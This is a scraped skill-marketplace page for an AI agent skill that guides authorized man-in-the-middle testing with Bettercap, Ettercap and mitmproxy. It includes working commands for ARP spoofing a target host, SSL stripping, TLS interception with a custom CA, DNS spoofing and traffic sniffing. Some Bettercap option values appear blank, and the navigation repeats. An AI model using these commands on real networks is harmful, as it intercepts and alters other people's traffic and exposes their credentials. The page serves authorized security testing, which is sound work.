man-middle-attack-smltn

Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.

Ir para a instalação

Repositório: Undermybelt/hermes-skills
Última atividade na origem: 7 de junho de 2026 às 07:23
Idioma detectado do SKILL.md: inglês
Estrelas: 6
Forks: 1

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.

Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.

npx skills add https://github.com/Undermybelt/hermes-skills --skill man-middle-attack-smltn

O comando permanece em uma só linha. Role horizontalmente para revisá-lo antes de copiar.

Prefere uma cópia local? Baixe os arquivos disponíveis atualmente no SkillsMP.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Explorador de arquivos

4 arquivos

SKILL.md

Instruções da origem · Visualização somente leitura

Voltar à pesquisa Voltar à instalação

anti-entropy-governance

Use when retiring old logic, collapsing duplicate owners, removing fallbacks, or touching schema, persistence, or source-of-truth boundaries while deciding whether to delete old paths, retain compatibility, or stop for confirmation.

2026-06-07

brainstorming

Use when defining new features, product behavior, UI/component design, architecture choices, contract changes, or ambiguous medium/high-complexity work before implementation.

2026-06-07

communicating-concisely

Use when the user asks for caveman mode, fewer tokens, brief responses, compressed communication, or otherwise explicitly requests a much shorter answer.

2026-06-07

Ver todas deste repositório

name	man-middle-attack-smltn
description	Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.
domain	cybersecurity
subdomain	network-security
tags	["network-security","mitm","bettercap","ettercap","mitmproxy"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"]

Conducting Man-in-the-Middle Attack Simulation

When to Use

Testing whether applications properly validate TLS certificates and enforce encrypted communications
Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders
Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented
Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks
Training incident response teams to identify and respond to MITM attack indicators

Do not use on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.

Prerequisites

Written authorization specifying in-scope targets and approved MITM techniques
Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine
Layer 2 access to the same network segment as target hosts
Custom CA certificate for TLS interception testing (generated specifically for the engagement)
Wireshark or tshark for capturing and verifying intercepted traffic
Isolated lab environment or approved production test window with rollback procedures

Workflow

Step 1: Set Up the Attack Environment

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"

Step 2: Execute ARP-Based MITM with Bettercap

# Start Bettercap with interactive mode
sudo bettercap -iface eth0

# Enable network probing to discover hosts
> net.probe on

# Display discovered hosts
> net.show


>  arp.spoof.targets 192.168.1.50
>  arp.spoof.fullduplex 


> arp.spoof on


>  http.proxy.sslstrip 
> http.proxy on


>  https.proxy.certificate mitm-ca.crt
>  https.proxy.key mitm-ca.key
> https.proxy on


>  dns.spoof.domains example.com,*.example.com
>  dns.spoof.address 192.168.1.99
> dns.spoof on


>  net.sniff.verbose 
>  net.sniff.filter 
> net.sniff on

Term	Definition
Man-in-the-Middle (MITM)	Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly
SSL Stripping	Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption
HSTS (HTTP Strict Transport Security)	Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections
Certificate Pinning	Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates
ARP Cache Poisoning	Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine
Transparent Proxy	Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports

man-middle-attack-smltn

Opções de instalação

Revise os arquivos de origem

Conducting Man-in-the-Middle Attack Simulation

When to Use

Prerequisites

Workflow

Step 1: Set Up the Attack Environment

Step 2: Execute ARP-Based MITM with Bettercap

Conducting Man-in-the-Middle Attack Simulation

When to Use

Prerequisites

Workflow

Step 1: Set Up the Attack Environment

Step 2: Execute ARP-Based MITM with Bettercap

Step 3: Intercept HTTP/HTTPS Traffic with mitmproxy

Step 4: Perform DNS Spoofing and DHCP Attacks

Step 5: Validate Detection and Test Controls

Step 6: Clean Up and Document Results

Key Concepts

Tools & Systems

Common Scenarios

Scenario: Testing HTTPS Enforcement on an Internal Web Application

Output Format

man-middle-attack-smltn

Informações da origem

Opções de instalação

Revise os arquivos de origem

Mais deste repositório

Mais deste repositório

Conducting Man-in-the-Middle Attack Simulation

When to Use

Prerequisites

Workflow

Step 1: Set Up the Attack Environment

Step 2: Execute ARP-Based MITM with Bettercap

Conducting Man-in-the-Middle Attack Simulation

When to Use

Prerequisites

Workflow

Step 1: Set Up the Attack Environment

Step 2: Execute ARP-Based MITM with Bettercap

Step 3: Intercept HTTP/HTTPS Traffic with mitmproxy

Step 4: Perform DNS Spoofing and DHCP Attacks

Step 5: Validate Detection and Test Controls

Step 6: Clean Up and Document Results

Key Concepts

Tools & Systems

Common Scenarios

Scenario: Testing HTTPS Enforcement on an Internal Web Application

Output Format